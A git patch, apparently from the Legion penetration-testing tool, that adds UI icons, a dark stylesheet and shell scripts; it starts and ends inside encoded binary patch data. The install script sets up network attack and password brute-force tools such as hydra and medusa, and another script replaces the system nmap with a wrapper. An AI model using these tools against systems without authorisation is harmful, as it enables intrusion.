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 Date: Fri, 21 Sep 2018 04:21:43 -0500 Subject: [PATCH 005/450] UI updates, startup script, dep installer --- .gitignore | 3 + app/logic.py | 2 +- deps/nmap-wsl.sh | 9 + deps/ubuntu-wsl.sh | 15 + deps/ubuntu.sh | 7 + images/icons/Backup_of_legion.cdr | Bin 0 -> 347580 bytes images/icons/Backup_of_legion_adj.cdr | Bin 0 -> 345852 bytes images/icons/knife.png | Bin 0 -> 678 bytes images/icons/knife_tiny.png | Bin 0 -> 66579 bytes images/icons/legion.cdr | Bin 0 -> 346404 bytes images/icons/legion.ico | Bin 0 -> 74814 bytes images/icons/legion.png | Bin 0 -> 27217 bytes images/icons/legion_adj.cdr | Bin 0 -> 296016 bytes images/icons/legion_adj.svg | 26 ++ images/icons/legion_medium.svg | 45 +++ images/icons/legion_tiny.cdr | Bin 0 -> 341241 bytes images/icons/legion_tiny.svg | 69 ++++ images/icons/logo.png | Bin 678 -> 3055 bytes images/icons/zombie-horde-clipart-1.bmp | Bin 0 -> 194110 bytes legion.py | 10 +- scripts/fingertool.sh | 2 +- startLegion.sh | 37 ++ ui/darkstyle/darkstyle.qss | 357 ++++++++++++++++++ ui/darkstyle/icon_branch_closed.png | Bin 0 -> 310 bytes ui/darkstyle/icon_branch_end.png | Bin 0 -> 358 bytes ui/darkstyle/icon_branch_more.png | Bin 0 -> 207 bytes ui/darkstyle/icon_branch_open.png | Bin 0 -> 313 bytes ui/darkstyle/icon_checkbox_checked.png | Bin 0 -> 176 bytes .../icon_checkbox_checked_disabled.png | Bin 0 -> 373 bytes .../icon_checkbox_checked_pressed.png | Bin 0 -> 373 bytes ui/darkstyle/icon_checkbox_indeterminate.png | Bin 0 -> 121 bytes .../icon_checkbox_indeterminate_disabled.png | Bin 0 -> 286 bytes .../icon_checkbox_indeterminate_pressed.png | Bin 0 -> 286 bytes ui/darkstyle/icon_checkbox_unchecked.png | Bin 0 -> 119 bytes .../icon_checkbox_unchecked_disabled.png | Bin 0 -> 238 bytes .../icon_checkbox_unchecked_pressed.png | Bin 0 -> 238 bytes ui/darkstyle/icon_close.png | Bin 0 -> 422 bytes ui/darkstyle/icon_radiobutton_checked.png | Bin 0 -> 370 bytes .../icon_radiobutton_checked_disabled.png | Bin 0 -> 617 bytes .../icon_radiobutton_checked_pressed.png | Bin 0 -> 616 bytes ui/darkstyle/icon_radiobutton_unchecked.png | Bin 0 -> 310 bytes .../icon_radiobutton_unchecked_disabled.png | Bin 0 -> 538 bytes .../icon_radiobutton_unchecked_pressed.png | Bin 0 -> 537 bytes ui/darkstyle/icon_restore.png | Bin 0 -> 404 bytes ui/darkstyle/icon_undock.png | Bin 0 -> 424 bytes ui/darkstyle/icon_vline.png | Bin 0 -> 303 bytes 46 files changed, 575 insertions(+), 7 deletions(-) create mode 100644 deps/nmap-wsl.sh create mode 100644 deps/ubuntu-wsl.sh create mode 100644 deps/ubuntu.sh create mode 100644 images/icons/Backup_of_legion.cdr create mode 100644 images/icons/Backup_of_legion_adj.cdr create mode 100644 images/icons/knife.png create mode 100644 images/icons/knife_tiny.png create mode 100644 images/icons/legion.cdr create mode 100644 images/icons/legion.ico create mode 100644 images/icons/legion.png create mode 100644 images/icons/legion_adj.cdr create mode 100644 images/icons/legion_adj.svg create mode 100644 images/icons/legion_medium.svg create mode 100644 images/icons/legion_tiny.cdr create mode 100644 images/icons/legion_tiny.svg create mode 100644 images/icons/zombie-horde-clipart-1.bmp create mode 100644 startLegion.sh create mode 100644 ui/darkstyle/darkstyle.qss create mode 100644 ui/darkstyle/icon_branch_closed.png create mode 100644 ui/darkstyle/icon_branch_end.png create mode 100644 ui/darkstyle/icon_branch_more.png create mode 100644 ui/darkstyle/icon_branch_open.png create mode 100644 ui/darkstyle/icon_checkbox_checked.png create mode 100644 ui/darkstyle/icon_checkbox_checked_disabled.png create mode 100644 ui/darkstyle/icon_checkbox_checked_pressed.png create mode 100644 ui/darkstyle/icon_checkbox_indeterminate.png create mode 100644 ui/darkstyle/icon_checkbox_indeterminate_disabled.png create mode 100644 ui/darkstyle/icon_checkbox_indeterminate_pressed.png create mode 100644 ui/darkstyle/icon_checkbox_unchecked.png create mode 100644 ui/darkstyle/icon_checkbox_unchecked_disabled.png create mode 100644 ui/darkstyle/icon_checkbox_unchecked_pressed.png create mode 100644 ui/darkstyle/icon_close.png create mode 100644 ui/darkstyle/icon_radiobutton_checked.png create mode 100644 ui/darkstyle/icon_radiobutton_checked_disabled.png create mode 100644 ui/darkstyle/icon_radiobutton_checked_pressed.png create mode 100644 ui/darkstyle/icon_radiobutton_unchecked.png create mode 100644 ui/darkstyle/icon_radiobutton_unchecked_disabled.png create mode 100644 ui/darkstyle/icon_radiobutton_unchecked_pressed.png create mode 100644 ui/darkstyle/icon_restore.png create mode 100644 ui/darkstyle/icon_undock.png create mode 100644 ui/darkstyle/icon_vline.png diff --git a/.gitignore b/.gitignore index a70fcb12..cad3ee0f 100644 --- a/.gitignore +++ b/.gitignore @@ -105,3 +105,6 @@ venv.bak/ # temps tmp/ + +# init +.initialized diff --git a/app/logic.py b/app/logic.py index 8d797024..1ebf7546 100644 --- a/app/logic.py +++ b/app/logic.py @@ -28,7 +28,7 @@ def createTemporaryFiles(self): try: print('[+] Creating temporary files..') - self.istemp = False # indicates that file is temporary and can be deleted if user exits without saving + self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving print(self.cwd) tf = tempfile.NamedTemporaryFile(suffix=".ldb",prefix="legion-", delete=False, dir="./tmp/") # to store the database file self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="legion-", dir="./tmp/") # to store tool output of finished processes diff --git a/deps/nmap-wsl.sh b/deps/nmap-wsl.sh new file mode 100644 index 00000000..56ac2f3e --- /dev/null +++ b/deps/nmap-wsl.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +if [ ! -f "/mnt/c/Program Files (x86)/Nmap/nmap.exe" ] +then + echo "Install Windows NMAP for NMAP support in WSL. Linux NMAP will not work." + exit 1 +fi + +"/mnt/c/Program Files (x86)/Nmap/nmap.exe" "$@" diff --git a/deps/ubuntu-wsl.sh b/deps/ubuntu-wsl.sh new file mode 100644 index 00000000..505a98fa --- /dev/null +++ b/deps/ubuntu-wsl.sh @@ -0,0 +1,15 @@ +#!/bin/bash +./deps/ubuntu.sh + +# Setup linked Windows NMAP + +if [ ! -f "/sbin/nmap" ] +then + echo "Installing Link to Windows NMAP..." + mv /usr/bin/nmap /usr/bin/nmap_lin + cp ./deps/nmap-wsl.sh /sbin/nmap + chmod a+x /sbin/nmap + ln -s /sbin/nmap /usr/bin/nmap +else + echo "Link to Windows NMAP already exists; skipping." +fi diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh new file mode 100644 index 00000000..01f39888 --- /dev/null +++ b/deps/ubuntu.sh @@ -0,0 +1,7 @@ +#!/bin/bash +echo "Updating Apt database..." +apt-get -qq update +echo "Installing python dependancies..." +apt-get -qq install python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* -y +echo "Installing external binaryies and application dependancies..." +apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad -y diff --git a/images/icons/Backup_of_legion.cdr b/images/icons/Backup_of_legion.cdr new file mode 100644 index 0000000000000000000000000000000000000000..1952f8e8574e3fdda8eda22ac52ad4460680d537 GIT binary patch literal 347580 zcmb5VbyOTd_clm^1$RlX1VV6k4<3TMyF+lBfdK*}xVsZP!QGh&I=H(H4#C|AcHZ~< zcF*~({ITcs(_Qu4s$1Q+Z&mlLu2xe-Mj=K*dV_=%`j$_bwiQy!hJ=LlA0Q|sCwnJr zPoS%{xvT3pdrNaqdlzR80Gqe76}zR2yY)AAUrQTyD|d4rb}JW4FDGkfPZnQ$SGE7G z^38u$YAk#fK18UxeuacYh&bA~ID2yZXQyRu@y(ju%G}dSZ5a0z7qOTyTgbw~!Wdq3 zbofGD;+u%~6$u!G)d1F`kK$c2B{@arOQA&g*oQz!MUnlX_;C+rmJ{+IpsOl(LE&f{!gFMm%MAKZp#~@ z%!5$IlunNM490;43b2yoMcv`!wncM!?Mvu2I zFM*%X(9rOo(XC$S{<@$}v3_QK-TUtI2y!p!=c8A>;-8Ihd*AbMq`xI+ui@e3UE<;- z9yK>xNdN0!Y*QF*nHA}66Bg9TGaxD#Z=>@bCFtez2>ajf$Spj{+*aI0oJHKk$iUgp zBiLR)F!8Zo*S^9RL2~2QqTWS{-w{%pZcW4j1C+&|Z)|3h4@>`&@<_6w1rx83wtuf2 zv0*eHuw_KLSe~rdm8)-~8a=S%gCyn_#^o3UkTiN?jDh1e_d>#OH_q#^CWfqjK|F#~ z29Sk6zaqz!T~{+Ri~n9mAZZa|hx9+q^XIHAYn}iJ$=DwWiS++&9#@26xc=ik$HrJ7 zP1&}W2Vn*UM|)JG&&3~thYR}}c#DaPl2g+RhYA@nBZ~&@DZV5*CpIM;;Il^#<1L_; z9nt!DdHJAT)8hRkY1P0qBEZ*6jbfyAH8w3b!kS8)N?pvj916Ew<|S{rIh=jkh2>9$ieqS(woqbYa|JBT~xl`;#ld-mM9; zFi&u_r)*noSoNI#R}S%-gH8{c(aL*QiDg+q7%I4;s~vzD_5~aTehLr2s}iO_b&+PF-*{6#p zI)^sb03qB@{F1t;A8cy()6vMghz)Zv{9PAl^0 zP#Ni;qX$g8r-~!gX->E*9~s^);>Egozta5Xp(nq5>-WUEe2=BGwIsCkY>R*p{spOQu)7)QtK>RaqEah zql*`U7|MSq4t!J$`q1AU(V%56dQ`Tt+fg%7T0d&pw2Y!iBCJpUDN}z?#h?B8B3_;0 z-4LZt2EIUU@FKQJtke>J8gX%H34JLxZ6-InfWUrOi%6&auLR=wog*7jaBEG9?~g9h zOyk0lUSEOn_)n^Xof)B9hFN-Kq;h3ak3=Rb^ftQI{CEtDTQv76;SAfMD6h0xNu&6H z;l=Nn_?&8(m}b9OBu-&f?0zh-{q^hbH})?AWSH#C*KhImvIavP>Y|Ny2}x-)Ow%%s zH8EH>!NXrEotrR23FB7Ny6#E#%2Gf}w5gei(^Hy*oHZ*N*uAps9`;-bF^@JznmO!_ z0e==PJc!+X4~FEHF4$y<1?A0DycQtcBN*vV-C0D*kc zhM#gYk2~ys7r|kMnZs^Ft20}w_n9ofsmPkiDWx$#Gf>1k{l5F%)%3Eh6E{@_Q~h~a zlA{tD!mUtgq&zGF_O{dxtaC(bF{Tp04faDrM5dWLD8&?UEY3l+gDL^gBVy zAESPcx;>H&X=xi|b?t&x#;JQ`*$wmF zM(;eNjc+d#8bovQoc8Zg6$v&~V@#c7Nkb0sC`67g(jJSR6H;^H0z{++B%kP4h=9%K z)&!s@+els7qj$ouGoq(|d^x=GWon#C!p^2AWEDrYRftHbz*)~v}WPq_gy{g}15xo|LD4aEz6Z(TMLMO3m@;~HKK^>Bdp zFdS)E0c4^Vu_9ggb?WLsP4)Rx0ff4mHXnbuht8f`f{{vsGbppZaNYf5kpTb=UBj{S zR4luk@Q0b=$c}tHJ$=_eQ%B_Mom531M(^^^kPxrR1@Si|csg`N4@2C+2_6b02?a^| zO36ym(G-svALC;VWx-XPZe1nvL2c-Neu)OizT;rJrMpZ_{QUJ)KuSMM)PrPJqu^Gf zG5JftvZBcT6Enf{d%omK@-NRJBi1#jMJ)vQc0|R;-`|U&rqRLPy=jZD?lu_G4*o`Z z=QDHTfF)Gen|8(ea10vXcctSy+zVDm(u8gi= zK2aI=`Q^sx^A{)sEL1I#)miQfEWg;0P;w^0S?P=X(Q@t?jn(?6pIQx|@&Y!BGYZlt zLz%`Z1GA@ujUV!H!J_0nbw097!}Do`J4Syg-+tPdz+s%u))T(e%(8iwYxR&D^W-+_o>BD;vaw)B$9}`r%Td`ml7ag6tMZ>RSOYblVFJ-Lyt|8H)?KC4t1Cq1`nb|TRvZ<2T7{_Z~zyHY?c|O&bGU3w)0d1XNGeH z4R2X-h;(@iU-Ea>h|m z7*xv7$ta|;=diq5j9`ignwb|wDYtJsaMENoY}?D^4u4YQH->{*NL{rp)hL57G3QY* zHC#^P^A69V#OXVG0?LSD;8Q`;Gb|=39FFEa!W@~ka###=ev>phcKMsy91l<)BhiNJ zDAOiaw~>$RYi8S<3T_5>2apcNM-dzf7{nOa2mDXgRJ=H-c)4T$NCszQVMCUprv)%B zVK3M*9hJK%-xDd!Vet44=ibll-u>Op(Iu@S6HZBpiB^JYPqw8=!>82HYKg0Y^K0Uc zn_4m_;jdj?s-3?N4T-nmL|gORn9t9RWbm+*V76waRf%cv!h&2yIR6t|c4`_xcS z7*+kN)WJ|~%k_stX!Ea-JMGZ*ax$o)+Y@9F>9J$f4)*GMXDi$9yv(SiQ-IJ6Du7^_SjM|{^pu+Jut*%ewgI+evdO9&HK%5s)jcPjoXDMbV}_; z2&bQbcbndBU3HQ7YH0fJt~xLIuIqWc0B_CytEcaG8pz|jQ#IA4q)i)pql#FKoHS6Z z+_`Q~$~2CR&9F2NxBjnHpmh&}n|tEUP{;Y;yc!DbmOH1+P%^T^^&4HLyR%ziJ&D-h zoa%%1r+M{>N*(myKEy{aX}HWZu_*phycGt7ubSiw&DW(jYFrI@JDlHyY~A+$B{Jz1 zM^~km+m}e|`$czutDv z3%#3iWG~Dp^{m+~{B(6kO4ZB2pRZi*d35RRm7;Q0pT4w|xwIs^0-@CZxHcR9;_hC= z^s;0WT+XmN7tT$(6ODro8@DGKEz<5S*@9LgrHZFN2jJ%zZ5xZDhVeq0aWtySgiELj&A{1_-pE}LRkZSSq(O6v^9!Rz;16}sOeeLzrPmoynyw8Jj+qf4E_L5| z^IE5sAWU1(lJ7qQ#_f`Bps?KU+@j~!^R7I&P_D{fIC?J60`k~#{yM;f&i6w~XpAZE zFRnd1Jz&`@uf?)g-npc^;(^pS>3>MXY|n=-85vZu6c5?!s6X~zBU4OFRuW^c zt$Y_3QS6GnlH-5eh08`8CHq4fE#p{`U`x@;A)jE z@A9I<;yd;|`O?m^nAGAWAmRG`hq-P3_YN4S3}d{%I5-pZjTZ;{a}HY;irRnRc1U(% zubjR|oWu(bGMi?sk&GpzU?b+);12#%hnQJx9M7Qp=~ppj+IXLNE+!ju!wT^P;ke(> zn^TDasW655sk&_wgFFSDYfe-NaPB=-1og={1lV^rH8>)^3bpRde(>HK`&r3T;TBpE zd_DeY-P7juwuFOW=Ne8JDL;mG9)A%lMmG7HRo2WVe~Q`n_r9BBKJ+-a{F{(8=>uC3 